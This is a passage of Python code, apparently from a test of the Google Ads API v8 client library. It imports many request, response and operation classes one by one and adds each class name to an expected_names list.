ConversionValueRuleOperation expected_names.append(ConversionValueRuleOperation.__name__) from google.ads.googleads.v8 import MutateConversionValueRulesResponse expected_names.append(MutateConversionValueRulesResponse.__name__) from google.ads.googleads.v8 import MutateConversionValueRuleResult expected_names.append(MutateConversionValueRuleResult.__name__) from google.ads.googleads.v8 import GetConversionValueRuleSetRequest expected_names.append(GetConversionValueRuleSetRequest.__name__) from google.ads.googleads.v8 import MutateConversionValueRuleSetsRequest expected_names.append(MutateConversionValueRuleSetsRequest.__name__) from google.ads.googleads.v8 import ConversionValueRuleSetOperation expected_names.append(ConversionValueRuleSetOperation.__name__) from google.ads.googleads.v8 import MutateConversionValueRuleSetsResponse expected_names.append(MutateConversionValueRuleSetsResponse.__name__) from google.ads.googleads.v8 import MutateConversionValueRuleSetResult expected_names.append(MutateConversionValueRuleSetResult.__name__) from google.ads.googleads.v8 import GetCustomerAssetRequest expected_names.append(GetCustomerAssetRequest.__name__) from google.ads.googleads.v8 import MutateCustomerAssetsRequest expected_names.append(MutateCustomerAssetsRequest.__name__) from google.ads.googleads.v8 import CustomerAssetOperation expected_names.append(CustomerAssetOperation.__name__) from google.ads.googleads.v8 import MutateCustomerAssetsResponse expected_names.append(MutateCustomerAssetsResponse.__name__) from google.ads.googleads.v8 import MutateCustomerAssetResult expected_names.append(MutateCustomerAssetResult.__name__) from google.ads.googleads.v8 import GetCustomerExtensionSettingRequest expected_names.append(GetCustomerExtensionSettingRequest.__name__) from google.ads.googleads.v8 import MutateCustomerExtensionSettingsRequest expected_names.append(MutateCustomerExtensionSettingsRequest.__name__) from google.ads.googleads.v8 import CustomerExtensionSettingOperation expected_names.append(CustomerExtensionSettingOperation.__name__) from google.ads.googleads.v8 import MutateCustomerExtensionSettingsResponse expected_names.append(MutateCustomerExtensionSettingsResponse.__name__) from google.ads.googleads.v8 import MutateCustomerExtensionSettingResult expected_names.append(MutateCustomerExtensionSettingResult.__name__) from google.ads.googleads.v8 import GetCustomerFeedRequest expected_names.append(GetCustomerFeedRequest.__name__) from google.ads.googleads.v8 import MutateCustomerFeedsRequest expected_names.append(MutateCustomerFeedsRequest.__name__) from google.ads.googleads.v8 import CustomerFeedOperation expected_names.append(CustomerFeedOperation.__name__) from google.ads.googleads.v8 import MutateCustomerFeedsResponse expected_names.append(MutateCustomerFeedsResponse.__name__) from google.ads.googleads.v8 import MutateCustomerFeedResult expected_names.append(MutateCustomerFeedResult.__name__) from google.ads.googleads.v8 import GetCustomerLabelRequest expected_names.append(GetCustomerLabelRequest.__name__) from google.ads.googleads.v8 import MutateCustomerLabelsRequest expected_names.append(MutateCustomerLabelsRequest.__name__) from google.ads.googleads.v8 import CustomerLabelOperation expected_names.append(CustomerLabelOperation.__name__) from google.ads.googleads.v8 import MutateCustomerLabelsResponse expected_names.append(MutateCustomerLabelsResponse.__name__) from google.ads.googleads.v8 import MutateCustomerLabelResult expected_names.append(MutateCustomerLabelResult.__name__) from google.ads.googleads.v8 import GetCustomerNegativeCriterionRequest expected_names.append(GetCustomerNegativeCriterionRequest.__name__) from google.ads.googleads.v8 import MutateCustomerNegativeCriteriaRequest expected_names.append(MutateCustomerNegativeCriteriaRequest.__name__) from google.ads.googleads.v8 import CustomerNegativeCriterionOperation expected_names.append(CustomerNegativeCriterionOperation.__name__) from google.ads.googleads.v8 import MutateCustomerNegativeCriteriaResponse expected_names.append(MutateCustomerNegativeCriteriaResponse.__name__) from google.ads.googleads.v8 import MutateCustomerNegativeCriteriaResult expected_names.append(MutateCustomerNegativeCriteriaResult.__name__) from google.ads.googleads.v8 import GetCustomerRequest expected_names.append(GetCustomerRequest.__name__) from google.ads.googleads.v8 import MutateCustomerRequest expected_names.append(MutateCustomerRequest.__name__) from google.ads.googleads.v8 import CreateCustomerClientRequest expected_names.append(CreateCustomerClientRequest.__name__) from google.ads.googleads.v8 import CustomerOperation expected_names.append(CustomerOperation.__name__) from google.ads.googleads.v8 import CreateCustomerClientResponse expected_names.append(CreateCustomerClientResponse.__name__) from google.ads.googleads.v8 import MutateCustomerResponse expected_names.append(MutateCustomerResponse.__name__) from google.ads.googleads.v8 import MutateCustomerResult expected_names.append(MutateCustomerResult.__name__) from google.ads.googleads.v8 import ListAccessibleCustomersRequest expected_names.append(ListAccessibleCustomersRequest.__name__) from google.ads.googleads.v8 import ListAccessibleCustomersResponse expected_names.append(ListAccessibleCustomersResponse.__name__) from google.ads.googleads.v8 import GetExtensionFeedItemRequest expected_names.append(GetExtensionFeedItemRequest.__name__) from google.ads.googleads.v8 import MutateExtensionFeedItemsRequest expected_names.append(MutateExtensionFeedItemsRequest.__name__) from google.ads.googleads.v8 import ExtensionFeedItemOperation expected_names.append(ExtensionFeedItemOperation.__name__) from google.ads.googleads.v8 import MutateExtensionFeedItemsResponse expected_names.append(MutateExtensionFeedItemsResponse.__name__) from google.ads.googleads.v8 import MutateExtensionFeedItemResult expected_names.append(MutateExtensionFeedItemResult.__name__) from google.ads.googleads.v8 import GetFeedItemRequest expected_names.append(GetFeedItemRequest.__name__) from google.ads.googleads.v8 import MutateFeedItemsRequest expected_names.append(MutateFeedItemsRequest.__name__) from google.ads.googleads.v8 import FeedItemOperation expected_names.append(FeedItemOperation.__name__) from google.ads.googleads.v8 import MutateFeedItemsResponse expected_names.append(MutateFeedItemsResponse.__name__) from google.ads.googleads.v8 import MutateFeedItemResult expected_names.append(MutateFeedItemResult.__name__) from google.ads.googleads.v8 import GetFeedItemSetLinkRequest expected_names.append(GetFeedItemSetLinkRequest.__name__) from google.ads.googleads.v8 import MutateFeedItemSetLinksRequest expected_names.append(MutateFeedItemSetLinksRequest.__name__) from google.ads.googleads.v8 import FeedItemSetLinkOperation expected_names.append(FeedItemSetLinkOperation.__name__) from google.ads.googleads.v8 import MutateFeedItemSetLinksResponse expected_names.append(MutateFeedItemSetLinksResponse.__name__) from google.ads.googleads.v8 import MutateFeedItemSetLinkResult expected_names.append(MutateFeedItemSetLinkResult.__name__) from google.ads.googleads.v8 import GetFeedItemSetRequest expected_names.append(GetFeedItemSetRequest.__name__) from google.ads.googleads.v8 import MutateFeedItemSetsRequest expected_names.append(MutateFeedItemSetsRequest.__name__) from google.ads.googleads.v8 import FeedItemSetOperation expected_names.append(FeedItemSetOperation.__name__) from google.ads.googleads.v8 import MutateFeedItemSetsResponse expected_names.append(MutateFeedItemSetsResponse.__name__) from google.ads.googleads.v8 import MutateFeedItemSetResult expected_names.append(MutateFeedItemSetResult.__name__) from google.ads.googleads.v8 import GetFeedItemTargetRequest expected_names.append(GetFeedItemTargetRequest.__name__) from google.ads.googleads.v8 import MutateFeedItemTargetsRequest expected_names.append(MutateFeedItemTargetsRequest.__name__) from google.ads.googleads.v8 import FeedItemTargetOperation expected_names.append(FeedItemTargetOperation.__name__) from google.ads.googleads.v8 import MutateFeedItemTargetsResponse expected_names.append(MutateFeedItemTargetsResponse.__name__) from google.ads.googleads.v8 import MutateFeedItemTargetResult expected_names.append(MutateFeedItemTargetResult.__name__) from google.ads.googleads.v8 import GetFeedMappingRequest expected_names.append(GetFeedMappingRequest.__name__) from google.ads.googleads.v8 import MutateFeedMappingsRequest expected_names.append(MutateFeedMappingsRequest.__name__) from google.ads.googleads.v8 import FeedMappingOperation expected_names.append(FeedMappingOperation.__name__) from google.ads.googleads.v8 import MutateFeedMappingsResponse expected_names.append(MutateFeedMappingsResponse.__name__) from google.ads.googleads.v8 import MutateFeedMappingResult expected_names.append(MutateFeedMappingResult.__name__) from google.ads.googleads.v8 import GetFeedRequest expected_names.append(GetFeedRequest.__name__) from google.ads.googleads.v8 import MutateFeedsRequest expected_names.append(MutateFeedsRequest.__name__) from google.ads.googleads.v8 import FeedOperation expected_names.append(FeedOperation.__name__) from google.ads.googleads.v8 import MutateFeedsResponse expected_names.append(MutateFeedsResponse.__name__) from google.ads.googleads.v8 import MutateFeedResult expected_names.append(MutateFeedResult.__name__) from google.ads.googleads.v8 import GetKeywordPlanAdGroupKeywordRequest expected_names.append(GetKeywordPlanAdGroupKeywordRequest.__name__) from google.ads.googleads.v8 import MutateKeywordPlanAdGroupKeywordsRequest expected_names.append(MutateKeywordPlanAdGroupKeywordsRequest.__name__) from google.ads.googleads.v8 import KeywordPlanAdGroupKeywordOperation expected_names.append(KeywordPlanAdGroupKeywordOperation.__name__) from google.ads.googleads.v8 import MutateKeywordPlanAdGroupKeywordsResponse expected_names.append(MutateKeywordPlanAdGroupKeywordsResponse.__name__) from google.ads.googleads.v8 import MutateKeywordPlanAdGroupKeywordResult expected_names.append(MutateKeywordPlanAdGroupKeywordResult.__name__) from google.ads.googleads.v8 import GetKeywordPlanAdGroupRequest expected_names.append(GetKeywordPlanAdGroupRequest.__name__) from google.ads.googleads.v8 import MutateKeywordPlanAdGroupsRequest expected_names.append(MutateKeywordPlanAdGroupsRequest.__name__) from google.ads.googleads.v8 import KeywordPlanAdGroupOperation expected_names.append(KeywordPlanAdGroupOperation.__name__) from google.ads.googleads.v8 import MutateKeywordPlanAdGroupsResponse expected_names.append(MutateKeywordPlanAdGroupsResponse.__name__) from google.ads.googleads.v8 import MutateKeywordPlanAdGroupResult expected_names.append(MutateKeywordPlanAdGroupResult.__name__) from google.ads.googleads.v8 import GetKeywordPlanCampaignKeywordRequest expected_names.append(GetKeywordPlanCampaignKeywordRequest.__name__) from google.ads.googleads.v8 import MutateKeywordPlanCampaignKeywordsRequest expected_names.append(MutateKeywordPlanCampaignKeywordsRequest.__name__) from google.ads.googleads.v8 import KeywordPlanCampaignKeywordOperation expected_names.append(KeywordPlanCampaignKeywordOperation.__name__) from google.ads.googleads.v8 import MutateKeywordPlanCampaignKeywordsResponse expected_names.append(MutateKeywordPlanCampaignKeywordsResponse.__name__) from google.ads.googleads.v8 import MutateKeywordPlanCampaignKeywordResult expected_names.append(MutateKeywordPlanCampaignKeywordResult.__name__) from google.ads.googleads.v8 import GetKeywordPlanCampaignRequest expected_names.append(GetKeywordPlanCampaignRequest.__name__) from google.ads.googleads.v8 import MutateKeywordPlanCampaignsRequest expected_names.append(MutateKeywordPlanCampaignsRequest.__name__) from google.ads.googleads.v8 import KeywordPlanCampaignOperation expected_names.append(KeywordPlanCampaignOperation.__name__) from google.ads.googleads.v8 import MutateKeywordPlanCampaignsResponse expected_names.append(MutateKeywordPlanCampaignsResponse.__name__) from google.ads.googleads.v8 import MutateKeywordPlanCampaignResult expected_names.append(MutateKeywordPlanCampaignResult.__name__) from google.ads.googleads.v8 import GetKeywordPlanRequest expected_names.append(GetKeywordPlanRequest.__name__) from google.ads.googleads.v8 import MutateKeywordPlansRequest expected_names.append(MutateKeywordPlansRequest.__name__) from google.ads.googleads.v8 import KeywordPlanOperation expected_names.append(KeywordPlanOperation.__name__) from google.ads.googleads.v8 import MutateKeywordPlansResponse expected_names.append(MutateKeywordPlansResponse.__name__) from google.ads.googleads.v8 import MutateKeywordPlansResult expected_names.append(MutateKeywordPlansResult.__name__) from google.ads.googleads.v8 import GenerateForecastCurveRequest expected_names.append(GenerateForecastCurveRequest.__name__) from google.ads.googleads.v8 import GenerateForecastCurveResponse expected_names.append(GenerateForecastCurveResponse.__name__) from google.ads.googleads.v8 import GenerateForecastTimeSeriesRequest expected_names.append(GenerateForecastTimeSeriesRequest.__name__) from google.ads.googleads.v8 import GenerateForecastTimeSeriesResponse expected_names.append(GenerateForecastTimeSeriesResponse.__name__) from google.ads.googleads.v8 import GenerateForecastMetricsRequest expected_names.append(GenerateForecastMetricsRequest.__name__) from google.ads.googleads.v8 import GenerateForecastMetricsResponse expected_names.append(GenerateForecastMetricsResponse.__name__) from google.ads.googleads.v8 import KeywordPlanCampaignForecast expected_names.append(KeywordPlanCampaignForecast.__name__) from google.ads.googleads.v8 import KeywordPlanAdGroupForecast expected_names.append(KeywordPlanAdGroupForecast.__name__) from google.ads.googleads.v8 import KeywordPlanKeywordForecast expected_names.append(KeywordPlanKeywordForecast.__name__) from google.ads.googleads.v8 import KeywordPlanCampaignForecastCurve expected_names.append(KeywordPlanCampaignForecastCurve.__name__) from google.ads.googleads.v8 import KeywordPlanMaxCpcBidForecastCurve expected_names.append(KeywordPlanMaxCpcBidForecastCurve.__name__) from google.ads.googleads.v8 import KeywordPlanMaxCpcBidForecast expected_names.append(KeywordPlanMaxCpcBidForecast.__name__) from google.ads.googleads.v8 import KeywordPlanWeeklyTimeSeriesForecast expected_names.append(KeywordPlanWeeklyTimeSeriesForecast.__name__) from google.ads.googleads.v8 import KeywordPlanWeeklyForecast expected_names.append(KeywordPlanWeeklyForecast.__name__) from google.ads.googleads.v8 import ForecastMetrics expected_names.append(ForecastMetrics.__name__) from google.ads.googleads.v8 import GenerateHistoricalMetricsRequest expected_names.append(GenerateHistoricalMetricsRequest.__name__) from google.ads.googleads.v8 import GenerateHistoricalMetricsResponse expected_names.append(GenerateHistoricalMetricsResponse.__name__) from google.ads.googleads.v8 import KeywordPlanKeywordHistoricalMetrics expected_names.append(KeywordPlanKeywordHistoricalMetrics.__name__) from google.ads.googleads.v8 import GetLabelRequest expected_names.append(GetLabelRequest.__name__) from google.ads.googleads.v8 import MutateLabelsRequest expected_names.append(MutateLabelsRequest.__name__) from google.ads.googleads.v8 import LabelOperation expected_names.append(LabelOperation.__name__) from google.ads.googleads.v8 import MutateLabelsResponse expected_names.append(MutateLabelsResponse.__name__) from google.ads.googleads.v8 import MutateLabelResult expected_names.append(MutateLabelResult.__name__) from google.ads.googleads.v8 import GetMediaFileRequest expected_names.append(GetMediaFileRequest.__name__) from google.ads.googleads.v8 import MutateMediaFilesRequest expected_names.append(MutateMediaFilesRequest.__name__) from google.ads.googleads.v8 import MediaFileOperation expected_names.append(MediaFileOperation.__name__) from google.ads.googleads.v8 import MutateMediaFilesResponse expected_names.append(MutateMediaFilesResponse.__name__) from google.ads.googleads.v8 import MutateMediaFileResult expected_names.append(MutateMediaFileResult.__name__) from google.ads.googleads.v8 import GetRemarketingActionRequest expected_names.append(GetRemarketingActionRequest.__name__) from google.ads.googleads.v8 import MutateRemarketingActionsRequest expected_names.append(MutateRemarketingActionsRequest.__name__) from google.ads.googleads.v8 import RemarketingActionOperation expected_names.append(RemarketingActionOperation.__name__) from google.ads.googleads.v8 import MutateRemarketingActionsResponse expected_names.append(MutateRemarketingActionsResponse.__name__) from google.ads.googleads.v8 import MutateRemarketingActionResult expected_names.append(MutateRemarketingActionResult.__name__) from google.ads.googleads.v8 import GetSharedCriterionRequest expected_names.append(GetSharedCriterionRequest.__name__) from google.ads.googleads.v8 import MutateSharedCriteriaRequest expected_names.append(MutateSharedCriteriaRequest.__name__) from google.ads.googleads.v8 import SharedCriterionOperation expected_names.append(SharedCriterionOperation.__name__) from google.ads.googleads.v8 import MutateSharedCriteriaResponse expected_names.append(MutateSharedCriteriaResponse.__name__) from google.ads.googleads.v8 import MutateSharedCriterionResult expected_names.append(MutateSharedCriterionResult.__name__) from google.ads.googleads.v8 import GetSharedSetRequest expected_names.append(GetSharedSetRequest.__name__) from google.ads.googleads.v8 import MutateSharedSetsRequest expected_names.append(MutateSharedSetsRequest.__name__) from google.ads.googleads.v8 import SharedSetOperation expected_names.append(SharedSetOperation.__name__) from google.ads.googleads.v8 import MutateSharedSetsResponse expected_names.append(MutateSharedSetsResponse.__name__) from google.ads.googleads.v8 import MutateSharedSetResult expected_names.append(MutateSharedSetResult.__name__) from google.ads.googleads.v8 import GetSmartCampaignSettingRequest expected_names.append(GetSmartCampaignSettingRequest.__name__) from google.ads.googleads.v8 import MutateSmartCampaignSettingsRequest expected_names.append(MutateSmartCampaignSettingsRequest.__name__) from google.ads.googleads.v8 import SmartCampaignSettingOperation expected_names.append(SmartCampaignSettingOperation.__name__) from google.ads.googleads.v8 import MutateSmartCampaignSettingsResponse expected_names.append(MutateSmartCampaignSettingsResponse.__name__) from google.ads.googleads.v8 import MutateSmartCampaignSettingResult expected_names.append(MutateSmartCampaignSettingResult.__name__) from google.ads.googleads.v8 import GetUserListRequest expected_names.append(GetUserListRequest.__name__) from google.ads.googleads.v8 import MutateUserListsRequest expected_names.append(MutateUserListsRequest.__name__) from google.ads.googleads.v8 import UserListOperation expected_names.append(UserListOperation.__name__) from google.ads.googleads.v8 import MutateUserListsResponse expected_names.append(MutateUserListsResponse.__name__) from google.ads.googleads.v8 import MutateUserListResult expected_names.append(MutateUserListResult.__name__) from google.ads.googleads.v8 import SearchGoogleAdsRequest expected_names.append(SearchGoogleAdsRequest.__name__) from google.ads.googleads.v8 import SearchGoogleAdsResponse expected_names.append(SearchGoogleAdsResponse.__name__) from google.ads.googleads.v8 import SearchGoogleAdsStreamRequest expected_names.append(SearchGoogleAdsStreamRequest.__name__) from google.ads.googleads.v8 import SearchGoogleAdsStreamResponse expected_names.append(SearchGoogleAdsStreamResponse.__name__) from google.ads.googleads.v8 import GoogleAdsRow expected_names.append(GoogleAdsRow.__name__) from google.ads.googleads.v8 import MutateGoogleAdsRequest expected_names.append(MutateGoogleAdsRequest.__name__) from google.ads.googleads.v8 import MutateGoogleAdsResponse expected_names.append(MutateGoogleAdsResponse.__name__) from google.ads.googleads.v8 import MutateOperation expected_names.append(MutateOperation.__name__) from google.ads.googleads.v8 import MutateOperationResponse expected_names.append(MutateOperationResponse.__name__) from google.ads.googleads.v8 import MutateBatchJobRequest expected_names.append(MutateBatchJobRequest.__name__) from google.ads.googleads.v8 import BatchJobOperation expected_names.append(BatchJobOperation.__name__) from google.ads.googleads.v8 import MutateBatchJobResponse expected_names.append(MutateBatchJobResponse.__name__) from google.ads.googleads.v8 import MutateBatchJobResult expected_names.append(MutateBatchJobResult.__name__) from google.ads.googleads.v8 import GetBatchJobRequest expected_names.append(GetBatchJobRequest.__name__) from google.ads.googleads.v8 import RunBatchJobRequest expected_names.append(RunBatchJobRequest.__name__) from google.ads.googleads.v8 import AddBatchJobOperationsRequest expected_names.append(AddBatchJobOperationsRequest.__name__) from google.ads.googleads.v8 import AddBatchJobOperationsResponse expected_names.append(AddBatchJobOperationsResponse.__name__) from google.ads.googleads.v8 import ListBatchJobResultsRequest expected_names.append(ListBatchJobResultsRequest.__name__) from google.ads.googleads.v8 import ListBatchJobResultsResponse expected_names.append(ListBatchJobResultsResponse.__name__) from google.ads.googleads.v8 import BatchJobResult expected_names.append(BatchJobResult.__name__) from google.ads.googleads.v8 import GetBiddingStrategySimulationRequest expected_names.append(GetBiddingStrategySimulationRequest.__name__) from google.ads.googleads.v8 import GetBillingSetupRequest expected_names.append(GetBillingSetupRequest.__name__) from google.ads.googleads.v8 import MutateBillingSetupRequest expected_names.append(MutateBillingSetupRequest.__name__) from google.ads.googleads.v8 import BillingSetupOperation expected_names.append(BillingSetupOperation.__name__) from google.ads.googleads.v8 import MutateBillingSetupResponse expected_names.append(MutateBillingSetupResponse.__name__) from google.ads.googleads.v8 import MutateBillingSetupResult expected_names.append(MutateBillingSetupResult.__name__) from google.ads.googleads.v8 import GetCampaignAudienceViewRequest expected_names.append(GetCampaignAudienceViewRequest.__name__) from google.ads.googleads.v8 import GetCampaignCriterionSimulationRequest expected_names.append(GetCampaignCriterionSimulationRequest.__name__) from google.ads.googleads.v8 import GetCampaignSimulationRequest expected_names.append(GetCampaignSimulationRequest.__name__) from google.ads.googleads.v8 import GetCarrierConstantRequest expected_names.append(GetCarrierConstantRequest.__name__) from google.ads.googleads.v8 import GetChangeStatusRequest expected_names.append(GetChangeStatusRequest.__name__) from google.ads.googleads.v8 import GetClickViewRequest expected_names.append(GetClickViewRequest.__name__) from google.ads.googleads.v8 import GetCombinedAudienceRequest expected_names.append(GetCombinedAudienceRequest.__name__) from google.ads.googleads.v8 import UploadConversionAdjustmentsRequest expected_names.append(UploadConversionAdjustmentsRequest.__name__) from google.ads.googleads.v8 import UploadConversionAdjustmentsResponse expected_names.append(UploadConversionAdjustmentsResponse.__name__) from google.ads.googleads.v8 import ConversionAdjustment expected_names.append(ConversionAdjustment.__name__) from google.ads.googleads.v8 import RestatementValue expected_names.append(RestatementValue.__name__) from google.ads.googleads.v8 import GclidDateTimePair expected_names.append(GclidDateTimePair.__name__) from google.ads.googleads.v8 import ConversionAdjustmentResult expected_names.append(ConversionAdjustmentResult.__name__) from google.ads.googleads.v8 import UploadClickConversionsRequest expected_names.append(UploadClickConversionsRequest.__name__) from google.ads.googleads.v8 import UploadClickConversionsResponse expected_names.append(UploadClickConversionsResponse.__name__) from google.ads.googleads.v8 import UploadCallConversionsRequest expected_names.append(UploadCallConversionsRequest.__name__) from google.ads.googleads.v8 import UploadCallConversionsResponse expected_names.append(UploadCallConversionsResponse.__name__) from google.ads.googleads.v8 import ClickConversion expected_names.append(ClickConversion.__name__) from google.ads.googleads.v8 import CallConversion expected_names.append(CallConversion.__name__) from google.ads.googleads.v8 import ExternalAttributionData expected_names.append(ExternalAttributionData.__name__) from google.ads.googleads.v8 import ClickConversionResult expected_names.append(ClickConversionResult.__name__) from google.ads.googleads.v8 import CallConversionResult expected_names.append(CallConversionResult.__name__) from google.ads.googleads.v8 import CustomVariable expected_names.append(CustomVariable.__name__) from google.ads.googleads.v8 import CartData expected_names.append(CartData.__name__) from google.ads.googleads.v8 import GetCurrencyConstantRequest expected_names.append(GetCurrencyConstantRequest.__name__) from google.ads.googleads.v8 import GetCustomAudienceRequest expected_names.append(GetCustomAudienceRequest.__name__) from google.ads.googleads.v8 import MutateCustomAudiencesRequest expected_names.append(MutateCustomAudiencesRequest.__name__) from google.ads.googleads.v8 import CustomAudienceOperation expected_names.append(CustomAudienceOperation.__name__) from google.ads.googleads.v8 import MutateCustomAudiencesResponse expected_names.append(MutateCustomAudiencesResponse.__name__) from google.ads.googleads.v8 import MutateCustomAudienceResult expected_names.append(MutateCustomAudienceResult.__name__) from google.ads.googleads.v8 import GetCustomInterestRequest expected_names.append(GetCustomInterestRequest.__name__) from google.ads.googleads.v8 import MutateCustomInterestsRequest expected_names.append(MutateCustomInterestsRequest.__name__) from google.ads.googleads.v8 import CustomInterestOperation expected_names.append(CustomInterestOperation.__name__) from google.ads.googleads.v8 import MutateCustomInterestsResponse expected_names.append(MutateCustomInterestsResponse.__name__) from google.ads.googleads.v8 import MutateCustomInterestResult expected_names.append(MutateCustomInterestResult.__name__) from google.ads.googleads.v8 import GetCustomerClientLinkRequest expected_names.append(GetCustomerClientLinkRequest.__name__) from google.ads.googleads.v8 import MutateCustomerClientLinkRequest expected_names.append(MutateCustomerClientLinkRequest.__name__) from google.ads.googleads.v8 import CustomerClientLinkOperation expected_names.append(CustomerClientLinkOperation.__name__) from google.ads.googleads.v8 import MutateCustomerClientLinkResponse expected_names.append(MutateCustomerClientLinkResponse.__name__) from google.ads.googleads.v8 import MutateCustomerClientLinkResult expected_names.append(MutateCustomerClientLinkResult.__name__) from google.ads.googleads.v8 import GetCustomerClientRequest expected_names.append(GetCustomerClientRequest.__name__) from google.ads.googleads.v8 import GetCustomerManagerLinkRequest expected_names.append(GetCustomerManagerLinkRequest.__name__) from google.ads.googleads.v8 import MutateCustomerManagerLinkRequest expected_names.append(MutateCustomerManagerLinkRequest.__name__) from google.ads.googleads.v8 import MoveManagerLinkRequest expected_names.append(MoveManagerLinkRequest.__name__) from google.ads.googleads.v8 import CustomerManagerLinkOperation expected_names.append(CustomerManagerLinkOperation.__name__) from google.ads.googleads.v8 import MutateCustomerManagerLinkResponse expected_names.append(MutateCustomerManagerLinkResponse.__name__) from google.ads.googleads.v8 import MoveManagerLinkResponse expected_names.append(MoveManagerLinkResponse.__name__) from google.ads.googleads.v8 import MutateCustomerManagerLinkResult expected_names.append(MutateCustomerManagerLinkResult.__name__) from google.ads.googleads.v8 import GetCustomerUserAccessInvitationRequest expected_names.append(GetCustomerUserAccessInvitationRequest.__name__) from google.ads.googleads.v8 import MutateCustomerUserAccessInvitationRequest expected_names.append(MutateCustomerUserAccessInvitationRequest.__name__) from google.ads.googleads.v8 import CustomerUserAccessInvitationOperation expected_names.append(CustomerUserAccessInvitationOperation.__name__) from google.ads.googleads.v8 import MutateCustomerUserAccessInvitationResponse expected_names.append(MutateCustomerUserAccessInvitationResponse.__name__) from google.ads.googleads.v8 import MutateCustomerUserAccessInvitationResult expected_names.append(MutateCustomerUserAccessInvitationResult.__name__) from google.ads.googleads.v8 import GetCustomerUserAccessRequest expected_names.append(GetCustomerUserAccessRequest.__name__) from google.ads.googleads.v8 import MutateCustomerUserAccessRequest expected_names.append(MutateCustomerUserAccessRequest.__name__) from google.ads.googleads.v8 import CustomerUserAccessOperation expected_names.append(CustomerUserAccessOperation.__name__) from google.ads.googleads.v8 import MutateCustomerUserAccessResponse expected_names.append(MutateCustomerUserAccessResponse.__name__) from google.ads.googleads.v8 import MutateCustomerUserAccessResult expected_names.append(MutateCustomerUserAccessResult.__name__) from google.ads.googleads.v8 import GetDetailPlacementViewRequest expected_names.append(GetDetailPlacementViewRequest.__name__) from google.ads.googleads.v8 import GetDetailedDemographicRequest expected_names.append(GetDetailedDemographicRequest.__name__) from google.ads.googleads.v8 import GetDisplayKeywordViewRequest expected_names.append(GetDisplayKeywordViewRequest.__name__) from google.ads.googleads.v8 import GetDistanceViewRequest expected_names.append(GetDistanceViewRequest.__name__) from google.ads.googleads.v8 import GetDomainCategoryRequest expected_names.append(GetDomainCategoryRequest.__name__) from google.ads.googleads.v8 import GetDynamicSearchAdsSearchTermViewRequest expected_names.append(GetDynamicSearchAdsSearchTermViewRequest.__name__) from google.ads.googleads.v8 import GetExpandedLandingPageViewRequest expected_names.append(GetExpandedLandingPageViewRequest.__name__) from google.ads.googleads.v8 import GetFeedPlaceholderViewRequest expected_names.append(GetFeedPlaceholderViewRequest.__name__) from google.ads.googleads.v8 import GetGenderViewRequest expected_names.append(GetGenderViewRequest.__name__) from google.ads.googleads.v8 import GetGeoTargetConstantRequest expected_names.append(GetGeoTargetConstantRequest.__name__) from google.ads.googleads.v8 import SuggestGeoTargetConstantsRequest expected_names.append(SuggestGeoTargetConstantsRequest.__name__) from google.ads.googleads.v8 import SuggestGeoTargetConstantsResponse expected_names.append(SuggestGeoTargetConstantsResponse.__name__) from google.ads.googleads.v8 import GeoTargetConstantSuggestion expected_names.append(GeoTargetConstantSuggestion.__name__) from google.ads.googleads.v8 import GetGeographicViewRequest expected_names.append(GetGeographicViewRequest.__name__) from google.ads.googleads.v8 import GetGoogleAdsFieldRequest expected_names.append(GetGoogleAdsFieldRequest.__name__) from google.ads.googleads.v8 import SearchGoogleAdsFieldsRequest expected_names.append(SearchGoogleAdsFieldsRequest.__name__) from google.ads.googleads.v8 import SearchGoogleAdsFieldsResponse expected_names.append(SearchGoogleAdsFieldsResponse.__name__) from google.ads.googleads.v8 import GetGroupPlacementViewRequest expected_names.append(GetGroupPlacementViewRequest.__name__) from google.ads.googleads.v8 import GetHotelGroupViewRequest expected_names.append(GetHotelGroupViewRequest.__name__) from google.ads.googleads.v8 import GetHotelPerformanceViewRequest expected_names.append(GetHotelPerformanceViewRequest.__name__) from google.ads.googleads.v8 import GetIncomeRangeViewRequest expected_names.append(GetIncomeRangeViewRequest.__name__) from google.ads.googleads.v8 import ListInvoicesRequest expected_names.append(ListInvoicesRequest.__name__) from google.ads.googleads.v8 import ListInvoicesResponse expected_names.append(ListInvoicesResponse.__name__) from google.ads.googleads.v8 import GenerateKeywordIdeasRequest expected_names.append(GenerateKeywordIdeasRequest.__name__) from google.ads.googleads.v8 import KeywordAndUrlSeed expected_names.append(KeywordAndUrlSeed.__name__) from google.ads.googleads.v8 import KeywordSeed expected_names.append(KeywordSeed.__name__) from google.ads.googleads.v8 import SiteSeed expected_names.append(SiteSeed.__name__) from google.ads.googleads.v8 import UrlSeed expected_names.append(UrlSeed.__name__) from google.ads.googleads.v8 import GenerateKeywordIdeaResponse expected_names.append(GenerateKeywordIdeaResponse.__name__) from google.ads.googleads.v8 import GenerateKeywordIdeaResult expected_names.append(GenerateKeywordIdeaResult.__name__) from google.ads.googleads.v8 import GetKeywordThemeConstantRequest expected_names.append(GetKeywordThemeConstantRequest.__name__) from google.ads.googleads.v8 import SuggestKeywordThemeConstantsRequest expected_names.append(SuggestKeywordThemeConstantsRequest.__name__) from google.ads.googleads.v8 import SuggestKeywordThemeConstantsResponse expected_names.append(SuggestKeywordThemeConstantsResponse.__name__) from google.ads.googleads.v8 import GetKeywordViewRequest expected_names.append(GetKeywordViewRequest.__name__) from google.ads.googleads.v8 import GetLandingPageViewRequest expected_names.append(GetLandingPageViewRequest.__name__) from google.ads.googleads.v8 import GetLanguageConstantRequest expected_names.append(GetLanguageConstantRequest.__name__) from google.ads.googleads.v8 import GetLifeEventRequest expected_names.append(GetLifeEventRequest.__name__) from google.ads.googleads.v8 import GetLocationViewRequest expected_names.append(GetLocationViewRequest.__name__) from google.ads.googleads.v8 import GetManagedPlacementViewRequest expected_names.append(GetManagedPlacementViewRequest.__name__) from google.ads.googleads.v8 import ListMerchantCenterLinksRequest expected_names.append(ListMerchantCenterLinksRequest.__name__) from google.ads.googleads.v8 import ListMerchantCenterLinksResponse expected_names.append(ListMerchantCenterLinksResponse.__name__) from google.ads.googleads.v8 import GetMerchantCenterLinkRequest expected_names.append(GetMerchantCenterLinkRequest.__name__) from google.ads.googleads.v8 import MutateMerchantCenterLinkRequest expected_names.append(MutateMerchantCenterLinkRequest.__name__) from google.ads.googleads.v8 import MerchantCenterLinkOperation expected_names.append(MerchantCenterLinkOperation.__name__) from google.ads.googleads.v8 import MutateMerchantCenterLinkResponse expected_names.append(MutateMerchantCenterLinkResponse.__name__) from google.ads.googleads.v8 import MutateMerchantCenterLinkResult expected_names.append(MutateMerchantCenterLinkResult.__name__) from google.ads.googleads.v8 import GetMobileAppCategoryConstantRequest expected_names.append(GetMobileAppCategoryConstantRequest.__name__) from google.ads.googleads.v8 import 